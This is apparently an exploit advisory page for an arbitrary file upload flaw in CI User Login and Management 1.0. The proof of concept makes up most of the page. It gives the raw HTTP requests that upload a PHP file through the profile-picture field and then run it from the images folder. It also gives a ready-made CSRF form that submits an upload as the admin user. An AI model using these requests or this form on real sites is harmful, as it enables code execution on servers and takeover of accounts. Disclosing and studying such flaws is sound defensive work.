CI User Login and Management 1.0 - Arbitrary File Upload

2018.12.24
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Exploit Title: CI User Login and Management 1.0 - Arbitrary File Upload Exploit Author: The Mechiavellian Exploit Author Facebook : fb.me/The-Machiavellian-215753465894214/ Vendor Homepage 1: http://www.webprojectbuilder.com/item/user-login-and-management Vendor Homepage 2: https://sourceforge.net/projects/user-management-system/ Software Link : https://kent.dl.sourceforge.net/project/php-user-login-management/PHP_CI_user_login_and_management-1.zip Version: 1.0 Tested : win7 x64 >POC: 1) Upload >http://localhost/[PATH]/user/add_edit >http://localhost/[PATH]/assets/images/[FILE] POST /[PATH]/user/add_edit HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: keep-alive Content-Type: multipart/form-data; Content-Length: 727 Content-Disposition: form-data; name="profile_pic"; filename="phpinfo.php" Content-Type: application/force-download Content-Disposition: form-data; name="fileOld" Content-Disposition: form-data; name="users_id" Content-Disposition: form-data; name="user_type" Content-Disposition: form-data; name="submit1" HTTP/1.1 200 OK Date: Tue, 24 Dec 2018 09:16:33 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT refresh: 0;url=http://localhost/[PATH]/user/login Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 GET /[PATH]/assets/images/phpinfo_1540881402.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: keep-alive HTTP/1.1 200 OK Date: Tue, 30 Oct 2018 06:37:08 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Keep-Alive: timeout=5, max=100 Content-Type: text/html; charset=UTF-8 >POC: 2) CSRF Token http://localhost/[PATH]/user/add_edit >csrf code : <html> <body> <form method="post" enctype="multipart/form-data" action="http://localhost/[PATH]/user/add_edit"> <input id="fileUpload" name="profile_pic" type="file"><br> <input name="fileOld" value="" type="hidden"> <input name="users_id" value="1" type="hidden"> <input name="user_type" value="admin" type="hidden"> <button name="submit1" type="submit" ">Ver Ayari</button> </form> </body> </html>


Vote for this issue:
0%
100%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top